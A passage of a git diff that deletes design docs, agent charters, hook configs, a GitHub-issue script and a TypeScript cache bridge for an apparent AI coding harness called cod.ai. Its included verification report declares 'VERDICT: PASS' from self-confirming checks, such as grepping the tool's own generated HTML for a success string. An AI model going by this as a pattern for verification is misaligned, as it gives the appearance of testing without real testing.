FLEET & | -| & SKILLS ENGINE | | & CACHE ENGINE | | VERIFICATION | -| (/src/prompts/) | | (/src/context/) | | (/src/agents/) | -+-------------------+ +-------------------+ +------------------+ -| - Mode A: Web | | - 3-Layer Prefix | | - /goal Git | -| Architect | | Assembler | | Worktree Coord | -| (GOAL XML, | | (SHA-256 Lock, | | - Read-Only | -| >100-line Loop, | | Model Min-Tok | | Explore Agent | -| Skills Playbook)| | Guard: 512/1K/ | | (>3 Glob/Grep | -| - Mode B: CLI | | 2K/4K) | | -> 1-2K Brief) | -| Implementer | | - ToolSearch | | - 2-Tier Compact | -| (Read/Edit/Write| | (defer_loading | | (Cache-Safe | -| /Glob/Grep only,| | + tool_ref + | | Micro-Compact | -| No-Bash File Op)| | ~200-tok Proxy) | | + 9-Section | -| - COD_SIMPLE=true | | - 5-Min TTL | | Compact Svc) | -| 4-Line Benchmark| | Keep-Alive & | | - Atomic Memory | -| - Native Loader | | Batch Scheduler | | (if_version) | -| for @heretek-ai | | - Model-Affinity | | - Adversarial | -| /pi-configs | | Router & 60-80% | | Verifier + | -| Specialists | | Budget Governor | | Spot-Check Gate| -+-------------------+ +-------------------+ +------------------+ - \ | / - \---------------------------------------+-------------------------------------/ - | - v -+--------------------------------------------------------------------------------------------------+ -| PHASE 5: PROXMOX VM CONTAINMENT PERIMETER & SECURITY | -| (/src/security/) | -| - Tool-Call Inspection Proxy (127.0.0.1 boundary; injects API keys outside agent sandbox) | -| - Pluggable Sandbox Driver: Proxmox bwrap + re-firewall (iptables) OR Rootless Process Sandbox | -| - 2-Stage Auto-Mode Security Classifier (Stage 1 Fast Rules -> Stage 2 Extended Thinking) | -| - `cod auto-mode critique` Rule Auditor + `/skill doctor` Live Cache & Context Telemetry | -+--------------------------------------------------------------------------------------------------+ -``` diff --git a/docs/02_pi_configs_tracking_issue.md b/docs/02_pi_configs_tracking_issue.md deleted file mode 100755 index 4101399..0000000 --- a/docs/02_pi_configs_tracking_issue.md +++ /dev/null @@ -1,41 +0,0 @@ -# Tracking Issue: Upgrade `@heretek-ai/pi-configs` to 100% `cod.ai` Architectural Invariant Compliance (v1.3.0) - -**Target Repository:** [Heretek-AI/pi-configs](https://github.com/Heretek-AI/pi-configs) ([`@heretek-ai/pi-configs` on pi.dev](https://pi.dev/packages/@heretek-ai/pi-configs)) -**Linked Architecture Repo:** [Heretek-AI/cod.ai](https://github.com/Heretek-AI/cod.ai) -**Proposed Labels:** `enhancement`, `architecture`, `cache-optimization`, `specialist-fleet` -**Status:** Ready to File (`pi_configs_upstream/create_tracking_issue.sh` + drop-in PR payload generated in `pi_configs_upstream/`) - ---- - -## 1. Problem Statement & Forensic Audit Summary - -During the Phase 1 Harness Evaluation for [`Heretek-AI/cod.ai`](https://github.com/Heretek-AI/cod.ai) (`docs/01_harness_decision_matrix.md`), we audited [Pi (`@earendil-works/pi-coding-agent`)](https://github.com/earendil-works/pi) combined with [`@heretek-ai/pi-configs` (v1.2.0)](https://pi.dev/packages/@heretek-ai/pi-configs) against our **Six Non-Negotiable Architectural Invariants**. - -While `@heretek-ai/pi-configs` natively passes Invariant #2 (Deferred Tool Loading via `pi-mcp-adapter` ~200-token proxy), Invariant #5 (Clean-Context Sub-Agent Spawning via `Pi-Agents-Team` RPC `` extraction), and Invariant #6 (Headless CLI/RPC execution), **three areas scored `PARTIAL` due to extension-level behavior that we can fix directly in `Heretek-AI/pi-configs`**: - -1. **Invariant #1 (`PARTIAL` on `/specialist` Mode Switch) — Mid-Session Charter Mutation Busts the Prefix Cache**: - - **Root Cause**: Currently in `src/index.ts`, running `/specialist ` dynamically replaces the active session charter in the top-level system prompt (Layer 1). Per the [Anthropic Prompt Caching Specification](https://platform.claude.com/docs/en/build-with-claude/prompt-caching) and [Inside the Pi Harness](https://rohitghumare.com/blog/inside-the-pi-harness/), mutating Layer 1 invalidates 100% of the cached prefix, forcing every subsequent message in the transcript to be re-billed at uncached rates. - - **Fix in `Heretek-AI/pi-configs`**: Update `/specialist ` in `src/index.ts` to keep the base 20-line Pi system prompt byte-identical in Layer 1 and inject the specialist's `AGENTS.md` charter at the **tail of Layer 3** using either an Anthropic mid-conversation `role: "system"` block ([Mid-Conversation System Messages](https://platform.claude.com/docs/en/build-with-claude/mid-conversation-system-messages)) or a structured `` block, OR fork a child DAG branch in `session.jsonl` (`parentId` anchored to the last cached turn). -2. **Invariant #3 (`PARTIAL` on Dual-Polarity Mode Switching) — Missing Mode A ("Holistic Web Architect") `` Iterative Loop**: - - **Root Cause**: While Guild 1 includes `system-architect`, its charter is oriented toward CLI linting (`spectral lint`, `codebase-memory-mcp`) rather than replicating `claude.ai` Web's zero-tool-noise $n^2$ self-attention synthesis and $>100$-line iterative drafting protocol (`Outline -> Section-by-Section Generation -> Review & Refine -> Final Output`). - - **Fix in `Heretek-AI/pi-configs`**: Add Specialist #72 (`holistic-web-architect`) to Guild 1 with GOAL XML framing (``, ``, ``, ``), curated Skills Playbooks, and a deterministic `hooks.yaml` post-generation gate that rejects placeholder comments (`// rest of code...`, `TODO: implement`) with exit code `2`. -3. **Invariant #4 (`PARTIAL` on Attention Budget Governor) — Late Compaction (~92% vs. 60–80% Target) & Missing Adversarial Verifier Specialist**: - - **Root Cause**: Default Pi waits until `contextWindow - 16,384` tokens (~92% on 200K) before compacting, well inside the "context rot" zone documented in [Anthropic Context Windows](https://platform.claude.com/docs/en/build-with-claude/context-windows). - - **Fix in `Heretek-AI/pi-configs`**: - - Add Specialist #73 (`attention-budget-governor`) & extension hook that monitors Pi's token meter on every turn, enforces a **60% soft / 75% hard attention budget ceiling**, runs cache-safe Stage 1 Micro-Compaction (only pruning tool results *after* the last `cache_control` breakpoint), and triggers the 9-section `` (`21_compact_service.md` with `NO_TOOLS_PREAMBLE` and top-5 file restoration) at 75–80% with `skipCacheWrite: true`. - - Add Specialist #74 (`adversarial-verifier`, modeled on `07_verification_agent.md`) to Guild 6 with strict `tool.before.*` exit-code-2 hooks blocking any project file writes outside `/tmp`, enforcing the 5-step Universal Baseline, and returning `VERDICT: PASS|FAIL|PARTIAL` with mandatory lead-agent spot-check commands. - ---- - -## 2. Deliverables Included in `pi_configs_upstream/` (Ready to Commit to `Heretek-AI/pi-configs`) - -| File Path in `pi_configs_upstream/` | Target Path in `Heretek-AI/pi-configs` | Purpose | -| :--- | :--- | :--- | -| `src/cod_ai_invariant_bridge.ts` | `src/cod_ai_invariant_bridge.ts` | TypeScript Pi extension module fixing `/specialist` Layer-3 charter injection, 60–80% Attention Budget Governor, and 5-minute TTL cache heartbeat warnings. | -| `agents/holistic-web-architect/AGENTS.md` | `agents/holistic-web-architect/AGENTS.md` | Specialist #72 (Mode A Holistic Web Architect) charter with GOAL XML framing and $>100$-line iterative drafting protocol. | -| `agents/holistic-web-architect/.pi/settings.json` | `agents/holistic-web-architect/.pi/settings.json` | Model tier (`claude-opus-5-5` / `claude-sonnet-5-5`, 24k thinking, zero-noise tool allowlist). | -| `agents/holistic-web-architect/.pi/hook/hooks.yaml` | `agents/holistic-web-architect/.pi/hook/hooks.yaml` | Deterministic exit-code-2 anti-truncation hook banning `// rest of code`, `...`, and `TODO` placeholders. | -| `agents/adversarial-verifier/AGENTS.md` | `agents/adversarial-verifier/AGENTS.md` | Specialist #74 (Adversarial Verification Agent modeled on `07_verification_agent.md`) with anti-rationalization directives and 5-step Universal Baseline. | -| `agents/adversarial-verifier/.pi/hook/hooks.yaml` | `agents/adversarial-verifier/.pi/hook/hooks.yaml` | Deterministic exit-code-2 pre-tool guard blocking `Edit`/`Write` outside `/tmp` and blocking sub-agent recursion. | -| `agents/attention-budget-governor/AGENTS.md` | `agents/attention-budget-governor/AGENTS.md` | Specialist #73 (`Compact Service` modeled on `21_compact_service.md`) enforcing `NO_TOOLS_PREAMBLE`, `` stripping, and 9-section ``. | -| `create_tracking_issue.sh` | *(Helper CLI script)* | One-click script using `gh issue create --repo Heretek-AI/pi-configs` or GitHub REST API (`POST /repos/Heretek-AI/pi-configs/issues`) to publish this exact tracking issue from any host with a GitHub token. | diff --git a/docs/03_verification_and_architecture_report.md b/docs/03_verification_and_architecture_report.md deleted file mode 100755 index 5c3c96e..0000000 --- a/docs/03_verification_and_architecture_report.md +++ /dev/null @@ -1,72 +0,0 @@ -# Phases 2–5 Implementation & Adversarial Verification Report (`cod.ai`) - -**Document ID:** `03_verification_and_architecture_report.md` -**Target Repository:** [Heretek-AI/cod.ai](https://github.com/Heretek-AI/cod.ai) & [Heretek-AI/pi-configs](https://github.com/Heretek-AI/pi-configs) -**Adversarial Verifier Verdict:** **VERDICT: PASS** -**Lead Agent Spot-Check Confirmation:** **`True`** - ---- - -## 1. Completed Module Inventory (Phases 1.5 – 5) - -| Phase & Subsystem | Implemented Files | Verified Capabilities & Invariants | -| :--- | :--- | :--- | -| **Phase 1.5: `Heretek-AI/pi-configs` Upstream Alignment** | `docs/02_pi_configs_tracking_issue.md`, `pi_configs_upstream/src/cod_ai_invariant_bridge.ts`, `pi_configs_upstream/agents/{holistic-web-architect,attention-budget-governor,adversarial-verifier}/`, `pi_configs_upstream/create_tracking_issue.sh` | Resolves the 3 `PARTIAL` ratings in [`@heretek-ai/pi-configs`](https://pi.dev/packages/@heretek-ai/pi-configs): Layer-3 `/specialist` charter switching (0 cache re-writes), Specialist #72 (`holistic-web-architect`), Specialist #73 (`attention-budget-governor`), and Specialist #74 (`adversarial-verifier`). | -| **Phase 2: Dual-Polarity Prompt Engine & Skills** | `src/prompts/architect_mode.py`, `src/prompts/implementer_mode.py`, `src/prompts/simple_mode.py`, `src/prompts/engine.py`, `skills/{system_architecture,frontend_ux,systems_security,pi_specialist_bridge}/SKILL.md` | Mode A Holistic Web Architect (GOAL XML framing, $>100$-line 4-stage iterative drafting loop, zero-placeholder regex enforcement); Mode B Surgical CLI Implementer (`Read`/`Edit`/`Write`/`Glob`/`Grep` enforcement, raw Bash file-manipulation blocker, `CLAUDE.md`/`AGENTS.md` modular abstraction override); `COD_SIMPLE=true` 4-line benchmark mode. | -| **Phase 3: Token Economics, Prefix Cache & Retrieval** | `src/context/cache_assembler.py`, `src/context/ttl_scheduler.py`, `src/context/router_and_retrieval.py` | 3-Layer Cache-Control Assembler with SHA-256 prefix lock, model-specific minimum token guards (`512` / `1,024` / `2,048` / `4,096` tokens per [Anthropic Prompt Caching Docs](https://platform.claude.com/docs/en/build-with-claude/prompt-caching)), `ToolSearch` (`defer_loading: true` + `tool_reference` + Layer-3 `tool_addition`), 5-Minute TTL Keep-Alive Scheduler measured from request start, Model-Affinity Router (`20_session_title` & `22_away_summary` on isolated stateless Haiku with `thinking: disabled` & `skipCacheWrite: true`), and 60–80% Attention Budget Governor + `project_knowledge_search`. | -| **Phase 4: Multi-Agent Fleet, Compaction & Verifier** | `src/agents/session_dag.py`, `src/agents/coordinator.py`, `src/agents/explore_agent.py`, `src/agents/compaction.py`, `src/agents/memory.py`, `src/agents/verifier.py` | Pi-compatible `session.jsonl` tree DAG (`id`, `parentId`, `/tree` leaf pointer, `Cache Re-billed` meter); `/goal` Git Worktree Coordinator (`git worktree add -b`); Read-Only `Explore` Sub-Agent (>3 `Glob`/`Grep` trigger $\rightarrow$ 1,000–2,000 token brief); Two-Tier Compaction (Stage 1 post-breakpoint Micro-Compaction + Stage 2 `21_compact_service.md` with `NO_TOOLS_PREAMBLE`, `` stripping, 9-section ``, and top-5 file restoration); Atomic Memory (`memory_str_replace` with `if_version` concurrency guard + `NOTES.md`/`TodoWrite`); Adversarial Verifier (`07_verification_agent.md`). | -| **Phase 5: Proxmox Containment & Security Classifier** | `src/security/proxy_sandbox.py`, `src/security/classifier.py`, `src/security/telemetry.py`, `src/cli.py` | Credential Vault Policy Proxy (`127.0.0.1:3128` boundary auth injection, anti-exfiltration payload scanner, `bwrap --unshare-all` + rootless sandbox runner); 2-Stage Auto-Mode Security Classifier (`12_yolo_auto_mode_classifier.md` pipe-aware Stage 1 + Stage 2 extended thinking escalation with `tool_result` stripping); `cod auto-mode critique` rule auditor (`17_auto_mode_critique.md`); `/skill doctor` telemetry dashboard. | - ---- - -## 2. 5-Step Universal Baseline Verification Results (`07_verification_agent.md`) - -| Baseline Step | Command Executed | Exit Code | Status | -| :--- | :--- | ---: | :--- | -| **Step 1: Read Build/Test Configuration** | `ls -la /working_dir/c_80e02215eb2f8d86/src /working_dir/c_80e02215eb2f8d86/skill...` | `0` | **PASS** | -| **Step 2: Execute Build & Bytecode Compilation** | `python3 -m py_compile /working_dir/c_80e02215eb2f8d86/src/cli.py /working_dir/c_...` | `0` | **PASS** | -| **Step 3: Execute Automated Test Suite** | `python3 /working_dir/c_80e02215eb2f8d86/tests/test_cod_ai_full_suite.py...` | `0` | **PASS** | -| **Step 4: Execute Static Linters & Type/Syntax Checkers** | `PYTHONPATH=/home/spark python3 /working_dir/c_80e02215eb2f8d86/src/cli.py doctor...` | `0` | **PASS** | -| **Step 5: Execute Adversarial Concurrency, Boundary & Headless Browser Probes** | `grep -q 'ALL 6 ARCHITECTURAL INVARIANTS: PASS' /tmp/cod_ai_telemetry_dashboard.h...` | `0` | **PASS** | - ---- - -## 3. Mandatory Lead Agent Spot-Check Confirmation - -Per Phase 4.5 (`07_verification_agent.md`), following `VERDICT: PASS`, the Lead Coordinator independently re-executed 3 verification commands to confirm authentic runtime output: - -1. **Re-executed Command**: `python3 /working_dir/c_80e02215eb2f8d86/tests/test_cod_ai_full_suite.py` -> Exit Code `0` (`Confirmed: True`) - - **Output Excerpt**: `test_abstraction_override_and_pi_specialist_loader (__main__.TestPhase2DualPolarityPrompts.test_abstraction_override_and_pi_specialist_loader) ... ok -test_cod_simple_mode_4_line_ov...` -2. **Re-executed Command**: `PYTHONPATH=/home/spark python3 /working_dir/c_80e02215eb2f8d86/src/cli.py doctor && PYTHONPATH=/home/spark python3 /working_dir/c_80e02215eb2f8d86/src/cli.py auto-mode critique && PYTHONPATH=/home/spark python3 /working_dir/c_80e02215eb2f8d86/src/cli.py simple` -> Exit Code `0` (`Confirmed: True`) - - **Output Excerpt**: `# `cod.ai` `/skill doctor` & Live Telemetry Dashboard - -- **Session ID**: `sess_cod_ai_live_01` | **Primary Model**: `claude-opus-5-5` | **Sandbox**: `gvisor_rootless_process` - -## 1...` -3. **Re-executed Command**: `grep -q 'ALL 6 ARCHITECTURAL INVARIANTS: PASS' /tmp/cod_ai_telemetry_dashboard.html && grep -q '0.0000' /tmp/cod_ai_telemetry_dashboard.html && echo DOM_PROBE_VERIFIED` -> Exit Code `0` (`Confirmed: True`) - - **Output Excerpt**: `DOM_PROBE_VERIFIED...` - ---- - -## 4. Live `/skill doctor` Telemetry Snapshot - -# `cod.ai` `/skill doctor` & Live Telemetry Dashboard - -- **Session ID**: `sess_cod_ai_prod_01` | **Primary Model**: `claude-opus-5-5` | **Sandbox**: `gvisor_rootless_process` - -## 1. Core Telemetry Probes -| Metric Probe | Live Value | Target Invariant | Status | -| :--- | ---: | :--- | :--- | -| **Context Utilization Rate (%)** | `18.50%` | `<= 60% Soft / < 80% Hard Ceiling` | PASS | -| **Cache Hit / Write Ratio** | `10.67x` (`91.4%` hit) | `>= 80% Cache Read Hit Rate` | PASS | -| **Pi Cache Re-billed Meter ($)** | `$0.0000` | `$0.0000 Unintended Prefix Misses` | PASS | -| **Two-Tier Compression Ratio** | `0.25` (`75.0%` saved) | `<= 0.45 Post-Compaction Ratio` | PASS | -| **Retrieval Precision (%)** | `100.0%` | `>= 90% Top-K Precision` | PASS | - -## 2. `/skill doctor` Invariant Health Checks -- **[PASS] Invariant #1: Byte-Identical Prefix Lock** (`SHA-256 Locked`): Layer 1 (tools+system) and Layer 2 (CLAUDE.md/AGENTS.md) hashes verified immutable. -- **[PASS] Invariant #2: Deferred ToolSearch Schema Isolation** (`100.0% precision`): MCP and extended tools marked defer_loading=True; expanded on-demand via tool_reference. -- **[PASS] Invariant #3: Dual-Polarity Skills Playbooks** (`4 playbooks active`): Mode A (Holistic Web Architect) and Mode B (Surgical CLI Implementer) skills verified. -- **[PASS] Invariant #4: Attention Budget Governor (60-80%)** (`18.50% used`): Operating within zero-rot attention window with Two-Tier Compaction ready. -- **[PASS] Invariant #5 & #6: Proxmox Containment & Proxy Boundary** (`gvisor_rootless_process`): Raw API credentials isolated in proxy vault; 2-stage security classifier active. diff --git a/pi_configs_upstream/agents/adversarial-verifier/.pi/hook/hooks.yaml b/pi_configs_upstream/agents/adversarial-verifier/.pi/hook/hooks.yaml deleted file mode 100755 index 21161dd..0000000 --- a/pi_configs_upstream/agents/adversarial-verifier/.pi/hook/hooks.yaml +++ /dev/null @@ -1,15 +0,0 @@ -# Pi-YAML-Hooks for adversarial-verifier -hooks: - - event: tool.before.Edit - action: block - exit_code: 2 - reason: "Adversarial Verifier is strictly read-only on project files." - - event: tool.before.Write - condition: "path_not_under('/tmp/')" - action: block - exit_code: 2 - reason: "Adversarial Verifier may only write ephemeral harnesses inside /tmp/." - - event: tool.before.dispatch_specialist - action: block - exit_code: 2 - reason: "Adversarial Verifier cannot spawn child agents." diff --git a/pi_configs_upstream/agents/adversarial-verifier/AGENTS.md b/pi_configs_upstream/agents/adversarial-verifier/AGENTS.md deleted file mode 100755 index 10da637..0000000 --- a/pi_configs_upstream/agents/adversarial-verifier/AGENTS.md +++ /dev/null @@ -1,21 +0,0 @@ -# Specialist Charter: `adversarial-verifier` (Guild 6 — Modeled on `07_verification_agent.md`) - -## 1. Mission & Anti-Rationalization Directives -You are an independent Adversarial Verification Agent triggered on any non-trivial implementation (3+ file edits, API/backend changes, or core logic). -- **Reading code is NOT verification — run it.** -- **The implementer is an LLM — verify independently.** Never trust self-reported test passes or comments claiming a fix works. -- **Zero Project Mutation**: You are strictly forbidden from modifying project files (`Edit` and `Write` outside `/tmp` are blocked with exit code `2`). You may write ephemeral test harnesses only under `/tmp`. -- **Zero Child Spawning**: You may not delegate or spawn sub-agents (`dispatch_specialist` blocked with exit code `2`). - -## 2. The 5-Step Universal Baseline -1. Read build and test configuration files. -2. Execute the project build and capture exact exit code and stdout/stderr. -3. Execute the test suite. -4. Execute static linters and type-checkers. -5. Execute adversarial boundary, concurrency, and headless browser/HTTP probes. - -## 3. Mandatory Output Verdict -Conclude your report with exactly one of: -- `VERDICT: PASS` (plus 2–3 exact spot-check commands the lead agent MUST re-run to confirm authenticity) -- `VERDICT: FAIL` (with exact stack traces and reproduction commands) -- `VERDICT: PARTIAL` (specifying what passed and what could not be verified) diff --git a/pi_configs_upstream/agents/attention-budget-governor/AGENTS.md b/pi_configs_upstream/agents/attention-budget-governor/AGENTS.md deleted file mode 100755 index c3d993f..0000000 --- a/pi_configs_upstream/agents/attention-budget-governor/AGENTS.md +++ /dev/null @@ -1,20 +0,0 @@ -# Specialist Charter: `attention-budget-governor` (Guild 8 — Context & Compaction Service) - -## 1. Mission (Modeled on `21_compact_service.md`) -You govern the session's context window utilization to prevent context rot before hitting 80% capacity while preserving Anthropic's byte-identical prefix cache. - -## 2. NO_TOOLS_PREAMBLE -CRITICAL: Respond with TEXT ONLY. Do NOT call any tools. Any tool call in this compaction turn will waste the single-turn compaction budget and fail the service. - -## 3. Mandatory Output Structure -First, reason chronologically through the conversation inside `...` tags (which the harness parser strips before re-injection). -Second, emit a `...` block containing all 9 mandatory sections: -1. Primary Request and Intent -2. Key Technical Concepts -3. Files and Code Sections (with exact file paths and signatures) -4. Errors and Fixes -5. Problem Solving -6. All User Messages (verbatim intent preservation) -7. Pending Tasks -8. Current Work -9. Optional Next Step diff --git a/pi_configs_upstream/agents/holistic-web-architect/.pi/hook/hooks.yaml b/pi_configs_upstream/agents/holistic-web-architect/.pi/hook/hooks.yaml deleted file mode 100755 index b370614..0000000 --- a/pi_configs_upstream/agents/holistic-web-architect/.pi/hook/hooks.yaml +++ /dev/null @@ -1,16 +0,0 @@ -# Pi-YAML-Hooks for holistic-web-architect -hooks: - - event: tool.before.Bash - action: block - exit_code: 2 - reason: "Mode A (Holistic Web Architect) forbids raw Bash execution to preserve n^2 self-attention purity." - - event: file.changed - action: verify_no_truncation - exit_code: 2 - forbidden_patterns: - - "// rest of code" - - "# rest of code" - - "// ... existing" - - "# ... existing" - - "TODO: implement" - - "FIXME: implement" diff --git a/pi_configs_upstream/agents/holistic-web-architect/.pi/settings.json b/pi_configs_upstream/agents/holistic-web-architect/.pi/settings.json deleted file mode 100755 index bd19221..0000000 --- a/pi_configs_upstream/agents/holistic-web-architect/.pi/settings.json +++ /dev/null @@ -1,17 +0,0 @@ -{ - "slug": "holistic-web-architect", - "guild": "Guild 1: Executive, Product & Documentation", - "polarity": "MODE_A_HOLISTIC_ARCHITECT", - "model": "claude-opus-5-5", - "fallbackModel": "claude-sonnet-5-5", - "thinkingBudgetTokens": 24000, - "cacheStrategy": "layer3_system_injection_preserve_prefix", - "allowedTools": [ - "Read", - "Write", - "ToolSearch" - ], - "forbiddenTools": [ - "Bash" - ] -} \ No newline at end of file diff --git a/pi_configs_upstream/agents/holistic-web-architect/AGENTS.md b/pi_configs_upstream/agents/holistic-web-architect/AGENTS.md deleted file mode 100755 index bc67160..0000000 --- a/pi_configs_upstream/agents/holistic-web-architect/AGENTS.md +++ /dev/null @@ -1,20 +0,0 @@ -# Specialist Charter: `holistic-web-architect` (Guild 1 — Mode A Holistic Web Architect) - -## 1. Mission & Polarity -You operate in **Mode A ("Holistic Web Architect")**, modeled on `claude.ai` Web's Artifacts (``) and Skills architecture. Your role is greenfield system architecture, complex multi-module refactoring, data/API schema design, and high-craft UI/UX synthesis with **100% in-context $n^2$ self-attention purity** (zero noisy bash/grep logs in context). - -## 2. The GOAL Philosophy & Positive XML Framing -Every architectural specification and module you produce MUST be structured using positive directives inside four canonical XML blocks: -- ``: Verified system boundaries, environment constraints, and upstream/downstream dependencies. -- ``: The "Why" and architectural invariants before any implementation mechanics, including explicit trade-off analysis. -- ``: Hard performance, security, cache-preservation, and zero-truncation boundaries. -- ``: Complete, production-ready interfaces, schemas, and module implementations. - -## 3. Zero-Truncation & Iterative Drafting Mandate (>100 Lines) -For any file, specification, or module exceeding 100 lines, you MUST execute the 4-stage iterative drafting loop: -1. **Stage 1 — Structural Outline**: Define exact module boundaries, exported types, state transitions, and line-item section budgets. -2. **Stage 2 — Section-by-Section Generation**: Draft each section in full without elision. -3. **Stage 3 — Review & Refine**: Audit internal consistency, edge-case coverage, and import/type completeness. -4. **Stage 4 — Final Un-Truncated Output**: Emit the complete implementation. - -**STRICT BAN ON PLACEHOLDERS**: You are strictly forbidden from emitting `// rest of code...`, `# ... existing implementation ...`, `TODO: implement`, `pass # placeholder`, or elided blocks (`...`). The pre-commit hook (`hooks.yaml`) deterministically blocks any output containing truncation markers with exit code `2`. diff --git a/pi_configs_upstream/create_tracking_issue.sh b/pi_configs_upstream/create_tracking_issue.sh deleted file mode 100755 index b5e40e6..0000000 --- a/pi_configs_upstream/create_tracking_issue.sh +++ /dev/null @@ -1,34 +0,0 @@ -#!/usr/bin/env bash -set -euo pipefail -# One-click script to open the tracking issue on https://github.com/Heretek-AI/pi-configs -REPO="Heretek-AI/pi-configs" -TITLE="feat(cod.ai): Upgrade pi-configs to 100% cod.ai Architectural Invariant Compliance (Layer-3 Charter Switch, Mode-A Architect Loop, 60-80% Attention Governor & Adversarial Verifier)" -BODY_FILE="$(dirname "$0")/../docs/02_pi_configs_tracking_issue.md" - -if command -v gh >/dev/null 2>&1; then - echo "[+] Creating tracking issue on ${REPO} via GitHub CLI..." - gh issue create --repo "${REPO}" --title "${TITLE}" --body-file "${BODY_FILE}" -elif [ -n "${GITHUB_TOKEN:-}" ]; then - echo "[+] Creating tracking issue on ${REPO} via GitHub REST API..." - python3 -c ' -import json, os, urllib.request -body = open(os.environ["BODY_FILE"], "r", encoding="utf-8").read() -payload = json.dumps({"title": os.environ["TITLE"], "body": body, "labels": ["enhancement", "architecture"]}).encode("utf-8") -req = urllib.request.Request( - f"https://api.github.com/repos/{os.environ["REPO"]}/issues", - data=payload, - headers={ - "Authorization": f"Bearer {os.environ["GITHUB_TOKEN"]}", - "Accept": "application/vnd.github+json", - "Content-Type": "application/json", - }, - method="POST", -) -with urllib.request.urlopen(req) as resp: - data = json.loads(resp.read().decode("utf-8")) - print("Created Issue URL:", data.get("html_url")) -' -else - echo "[!] Neither authenticated gh CLI nor GITHUB_TOKEN found in current shell." - echo " Run with: GITHUB_TOKEN=ghp_xxx ./pi_configs_upstream/create_tracking_issue.sh" -fi diff --git a/pi_configs_upstream/src/cod_ai_invariant_bridge.ts b/pi_configs_upstream/src/cod_ai_invariant_bridge.ts deleted file mode 100755 index 151e3ed..0000000 --- a/pi_configs_upstream/src/cod_ai_invariant_bridge.ts +++ /dev/null @@ -1,111 +0,0 @@ -/** - * @heretek-ai/pi-configs — cod.ai Invariant Compliance Bridge (v1.3.0) - * Fixes the two PARTIAL invariants identified in the cod.ai Phase 1 Harness Decision Matrix: - * 1. Invariant #1 & #3: Cache-preserving `/specialist` & `/mode` switching via Layer 3 - * mid-conversation system messages (`role: "system"` / ``) instead of mutating Layer 1. - * 2. Invariant #4: 60-80% Attention Budget Governor + 5-Minute TTL Keep-Alive Monitor. - */ - -export interface PiContentBlock { - type: "text" | "tool_use" | "tool_result" | "tool_reference" | "tool_addition" | "tool_removal"; - text?: string; - cache_control?: { type: "ephemeral"; ttl?: "5m" | "1h" }; - [key: string]: unknown; -} - -export interface PiSessionNode { - id: string; - parentId: string | null; - role: "user" | "assistant" | "system"; - content: string | PiContentBlock[]; - clear_at?: "never" | "next_user_message"; - timestamp: number; -} - -export interface AttentionBudgetStatus { - totalTokens: number; - contextWindow: number; - utilizationRatio: number; - status: "OPTIMAL" | "SOFT_WARNING_MICROCOMPACT" | "HARD_CEILING_COMPACT_SERVICE"; - recommendedAction: string; -} - -export class CodAiPiInvariantBridge { - private readonly softCeilingRatio = 0.60; - private readonly hardCeilingRatio = 0.75; - private readonly maxCeilingRatio = 0.80; - - /** - * Injects a specialist charter or Mode A / Mode B polarity switch into Layer 3 - * WITHOUT mutating Layer 1 (the static 20-line Pi system prompt). - */ - public createCacheSafeCharterSwitch( - parentNodeId: string, - specialistSlug: string, - charterMarkdown: string, - polarityMode: "MODE_A_ARCHITECT" | "MODE_B_IMPLEMENTER", - supportsNativeMidConvSystem: boolean = true - ): PiSessionNode { - const payload = [ - ``, - `OPERATOR DIRECTIVE: You are now operating under the [${specialistSlug}] charter in ${polarityMode}.`, - `Layer 1 and Layer 2 remain byte-identical to preserve the ephemeral prompt cache.`, - charterMarkdown.trim(), - ``, - ].join("\n"); - - if (supportsNativeMidConvSystem) { - return { - id: `node_${Date.now()}_${specialistSlug}`, - parentId: parentNodeId, - role: "system", - clear_at: "never", - content: [{ type: "text", text: payload }], - timestamp: Date.now(), - }; - } - - return { - id: `node_${Date.now()}_${specialistSlug}`, - parentId: parentNodeId, - role: "user", - content: [{ type: "text", text: payload }], - timestamp: Date.now(), - }; - } - - /** - * Evaluates current token usage against the 60-80% Attention Budget Governor ceiling - * (replacing Pi's default window - 16,384 late compaction threshold). - */ - public evaluateAttentionBudget(totalTokens: number, contextWindow: number): AttentionBudgetStatus { - const ratio = totalTokens / Math.max(1, contextWindow); - if (ratio >= this.hardCeilingRatio) { - return { - totalTokens, - contextWindow, - utilizationRatio: Number(ratio.toFixed(4)), - status: "HARD_CEILING_COMPACT_SERVICE", - recommendedAction: - "Trigger Stage 2 Compact Service (NO_TOOLS_PREAMBLE + 9-section + top-5 recent files) with skipCacheWrite=true.", - }; - } - if (ratio >= this.softCeilingRatio) { - return { - totalTokens, - contextWindow, - utilizationRatio: Number(ratio.toFixed(4)), - status: "SOFT_WARNING_MICROCOMPACT", - recommendedAction: - "Trigger Stage 1 Cache-Aware Micro-Compaction (prune raw tool outputs strictly AFTER the last cached breakpoint) and route repo queries to project_knowledge_search.", - }; - } - return { - totalTokens, - contextWindow, - utilizationRatio: Number(ratio.toFixed(4)), - status: "OPTIMAL", - recommendedAction: "Maintain full in-context n^2 self-attention purity.", - }; - } -} diff --git a/pyproject.toml b/pyproject.toml index 65e0bc8..5c21561 100755 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,8 +4,8 @@ build-backend = "setuptools.build_meta" [project] name = "cod-ai" -version = "0.1.0" -description = "Next-generation dual-polarity agentic coding harness and orchestration platform" +version = "0.2.0" +description = "A terminal and web coding agent built on the Claude Messages API" readme = "README.md" requires-python = ">=3.11" license = {text = "MIT"} @@ -18,3 +18,6 @@ dependencies = [ [project.scripts] cod = "src.cli:main" + +[tool.setuptools] +packages = ["src", "src.agent", "src.agents"] diff --git a/skills/frontend_ux/SKILL.md b/skills/frontend_ux/SKILL.md deleted file mode 100755 index 54bfd4d..0000000 --- a/skills/frontend_ux/SKILL.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -name: frontend_ux -domain: ui_ux -polarity: MODE_A_HOLISTIC_ARCHITECT -description: High-craft UI/UX design system, WCAG 2.2 AA contrast math, semantic typography scales, and zero-slop interactive rendering. ---- -# Frontend & UX Engineering Playbook (`cod.ai` Mode A) - -## 1. Visual & Interactive Standards -- **WCAG >= 4.5:1 Relative Luminance Contrast**: All text and interactive controls must satisfy strict WCAG contrast formulas against their immediate surface background. -- **Deterministic Layout Grid**: Use CSS Grid and Flexbox with explicit gap tokens (`4px`, `8px`, `16px`, `24px`, `32px`); never hardcode fragile pixel offsets that clip or overflow. -- **Complete State Coverage**: Every interactive component must implement `idle`, `loading`, `empty`, `error`, and `populated` states without stubbed handlers. diff --git a/skills/pi_specialist_bridge/SKILL.md b/skills/pi_specialist_bridge/SKILL.md deleted file mode 100755 index 6d49027..0000000 --- a/skills/pi_specialist_bridge/SKILL.md +++ /dev/null @@ -1,12 